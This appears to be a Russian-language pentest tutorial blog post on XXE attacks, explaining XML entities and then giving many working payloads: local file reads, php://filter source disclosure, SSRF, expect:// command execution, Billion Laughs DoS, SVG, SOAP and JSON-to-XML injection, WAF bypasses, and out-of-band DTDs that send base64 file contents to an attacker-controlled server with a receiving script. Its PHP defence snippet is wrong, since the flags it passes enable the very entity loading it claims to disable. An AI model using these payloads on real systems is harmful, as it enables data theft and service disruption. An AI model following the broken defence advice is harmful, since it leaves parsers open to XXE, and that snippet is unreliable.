The book of Magnus

IT-заметки и знания

Основы пентеста. XXE атака - Руководство

Tags = [ XXE, Pentest_base ]

XXE (XML External Entity) — это уязвимость, которая позволяет атакующему взаимодействовать с обработкой XML-данных приложением. Атака часто позволяет читать файлы на сервере, взаимодействовать с внутренними системами и в некоторых случаях выполнять SSRF-атаки.

XML (eXtensible Markup Language) — расширяемый язык разметки, предназначенный для передачи и хранения данных. Основные особенности:

  • Не имеет фиксированного словаря (в отличие от HTML)
  • Не зависит от языка программирования
  • Имеет текстовый формат
  • Широко используется в веб-сервисах, конфигурационных файлах

Основы XML

Структура XML-документа

Базовый XML-документ начинается с объявления:

<?xml version="1.0"?>
<greeting>Hello, world!</greeting>

С указанием кодировки:

<?xml version="1.0" encoding="UTF-8"?>
<greeting>Hello, world!</greeting>

Атрибут standalone

Атрибут standalone определяет, может ли документ использовать внешние определения:

  • yes — запрещает подключение внешних описаний
  • no — разрешает подключение внешних описаний
<?xml version="1.0" standalone="no"?>
<!DOCTYPE note [<!ENTITY user "Вася">]>
<note>
  <to>&user;</to>
  <from>Света</from>
  <heading>Напоминание</heading>
  <body>Позвони мне завтра!</body>
</note>

Сущности в XML

Типы сущностей

1. General Entity (Обычные сущности)

Предопределённые сущности для специальных символов:

  • &lt; — меньше (<)
  • &gt; — больше (>)
  • &amp; — амперсанд (&)
  • &apos; — одинарная кавычка (')
  • &quot; — двойная кавычка (")

Пользовательские сущности:

<!ENTITY имя_сущности "значение">

2. Internal Entity (Внутренние сущности)

Определяются внутри документа:

<!DOCTYPE note [
  <!ENTITY company "Codeby School">
]>
<note>
  <text>&company;</text>
</note>

3. External Entity (Внешние сущности)

Подгружают данные из внешних источников:

<!-- Из файловой системы -->
<!ENTITY test SYSTEM "file:///etc/passwd">

<!-- Linux -->
<!ENTITY test SYSTEM "file:///filename">

<!-- Windows -->
<!ENTITY test SYSTEM "file:///C:\filename">

<!-- С удалённого сервера -->
<!ENTITY test SYSTEM "http://example.com/payload.xml">

4. Parameter Entity (Параметрические сущности)

Используются для подключения других сущностей:

<!DOCTYPE note [
  <!ENTITY % entities SYSTEM "entities.dtd">
  %entities;
]>

Что такое XXE

XXE (XML External Entity) — атака, основанная на обработке XML-парсером внешних сущностей, определённых в DTD (Document Type Definition).

Базовый пример эксплуатации

1. Чтение локальных файлов:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

2. Чтение файлов с кодированием (для файлов с HTML/XML):

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root>
  <data>&xxe;</data>
</root>

3. SSRF (Server-Side Request Forgery):

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://internal-service:8080/admin">
]>
<root>
  <data>&xxe;</data>
</root>

Практический пример

Создание уязвимого PHP-парсера:

<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

if($_SERVER['REQUEST_METHOD'] == "POST"){
    $post = file_get_contents("php://input");
    $xml = new DOMDocument();
    $xml->loadXML($post, LIBXML_NOENT | LIBXML_DTDLOAD);
    $root = $xml->getElementsByTagName('title')->item(0);
    
    echo $root->textContent;
} else {
    echo "Send XML in POST";
}
?>

Запуск сервера:

sudo apt-get install php-dom  # установка расширения DOM
sudo service apache2 start

Эксплуатация:

Отправка POST-запроса с XML:

POST / HTTP/1.1
Host: localhost
Content-Type: application/xml
Content-Length: 150

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<title>&xxe;</title>

Возможности эксплуатации XXE

1. Чтение локальных файлов

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

2. Remote Code Execution (RCE)

Через протокол expect:// (требует модуль PHP expect):

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "expect://command">
]>

3. Denial of Service (DoS)

Billion Laughs Attack:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>

Чтение бесконечного файла:

<!DOCTYPE dos [
  <!ENTITY xxe SYSTEM "file:///dev/random">
]>

XXE Out-Of-Band

Техника используется когда XML-парсер не выводит содержимое напрямую.

Этап 1: Создание принимающего скрипта

script.php на вашем сервере:

<?php
$data = $_GET['xxe'];
$file = fopen("result.txt", 'w');
fwrite($file, $data);
fclose($file);
?>

Этап 2: Создание полезной нагрузки

payload.dtd на вашем сервере:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://your-server.com/script.php?xxe=%file;'>">
%eval;
%exfiltrate;

Этап 3: Отправка запроса

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % dtd SYSTEM "http://your-server.com/payload.dtd">
  %dtd;
]>
<root></root>

Альтернативный метод (всё в одном запросе)

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
  <!ENTITY % dtd "<!ENTITY &#x25; send SYSTEM 'http://your-server.com/script.php?xxe=%file;'>">
  %dtd;
  %send;
]>
<root></root>

Где искать XXE

1. Прямая загрузка XML-файлов

Приложение принимает XML-файлы для импорта данных, конфигурации и т.д.

Пример:

  • Импорт данных в CMS
  • Загрузка конфигураций
  • Импорт/экспорт в офисных приложениях (DOCX, XLSX, PPTX — основаны на XML)

2. SOAP (Simple Object Access Protocol)

SOAP использует XML для обмена сообщениями.

Пример SOAP-запроса:

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getProductDetails xmlns="http://warehouse.example.com/ws">
      <productID>1337</productID>
    </getProductDetails>
  </soap:Body>
</soap:Envelope>

Эксплуатация:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getProductDetails xmlns="http://warehouse.example.com/ws">
      <productID>&xxe;</productID>
    </getProductDetails>
  </soap:Body>
</soap:Envelope>

3. SAML (Security Assertion Markup Language)

SAML используется для аутентификации и авторизации.

Пример SAML:

<saml:AttributeStatement>
  <saml:Attribute Name="username">
    <saml:AttributeValue>user101</saml:AttributeValue>
  </saml:Attribute>
</saml:AttributeStatement>

Поиск уязвимости:

  1. Перехватить SAML-запрос при авторизации
  2. Найти параметр SAMLResponse (обычно в base64)
  3. Декодировать и проверить на XXE

4. Манипуляции с Content-Type

Некоторые API принимают как JSON, так и XML. Можно попробовать изменить Content-Type.

JSON-запрос:

POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/json

{"username":"admin","password":"123"}

Преобразование в XML:

POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<root>
  <username>admin</username>
  <password>123</password>
</root>

XXE-эксплуатация:

POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <username>&xxe;</username>
  <password>123</password>
</root>

5. Офисные форматы

Современные офисные форматы основаны на XML:

  • .docx — Word
  • .xlsx — Excel
  • .pptx — PowerPoint
  • .svg — векторная графика

Пример эксплуатации через SVG:

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Обход WAF

1. Замена фильтрующихся слов

Если SYSTEM заблокирован, используйте PUBLIC:

<!ENTITY xxe PUBLIC "any_text" "file:///etc/passwd">

2. Смена кодировки

UTF-16 часто пропускается WAF:

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

3. Искажение XML

Добавление спецсимволов:

<!DOCTYPE :. SYSTEM "http://example.com">
<!DOCTYPE :_-_: SYSTEM "http://example.com">

Hex-кодирование:

<!DOCTYPE &#x64;&#x66;&#x62;&#x66; SYSTEM "http://example.com">

4. Character Reference

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file://&#x2F;etc&#x2F;passwd">
]>

5. Параметрические сущности

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

Защита от XXE

1. Отключение внешних сущностей

PHP:

libxml_disable_entity_loader(true);
// Или при парсинге:
$xml->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);

Python:

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse(source, parser)

Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

JavaScript (Node.js):

// Используйте безопасные парсеры
const libxmljs = require("libxmljs");
const xml = libxmljs.parseXml(xmlString, { noent: false, dtdload: false });

2. Валидация входных данных

  • Используйте белый список разрешённых элементов
  • Проверяйте структуру XML
  • Ограничивайте размер XML-документов

3. Используйте простые форматы данных

Когда возможно, используйте JSON вместо XML.

4. Обновление библиотек

Регулярно обновляйте XML-парсеры и библиотеки.


Полезные ресурсы

  • OWASP XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
  • PortSwigger XXE: https://portswigger.net/web-security/xxe
  • PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

Заключение

XXE — серьёзная уязвимость, которая может привести к:

  • Чтению конфиденциальных файлов
  • SSRF-атакам на внутренние сервисы
  • Отказу в обслуживании (DoS)
  • В редких случаях — к удалённому выполнению кода (RCE)

Ключевые моменты:

  1. XML широко используется в веб-приложениях, API, офисных форматах
  2. Многие разработчики не знают об опасности внешних сущностей
  3. Всегда тестируйте XML-обработку на предмет XXE
  4. Используйте Out-Of-Band техники когда прямой вывод недоступен
  5. Обходы WAF возможны через кодирование и альтернативные синтаксисы

Практические советы для тестирования:

  • Начинайте с простых payload'ов
  • Используйте Burp Suite для перехвата и модификации запросов
  • Проверяйте все входные точки, принимающие XML
  • Тестируйте Content-Type манипуляции
  • Не забывайте про офисные форматы и SVG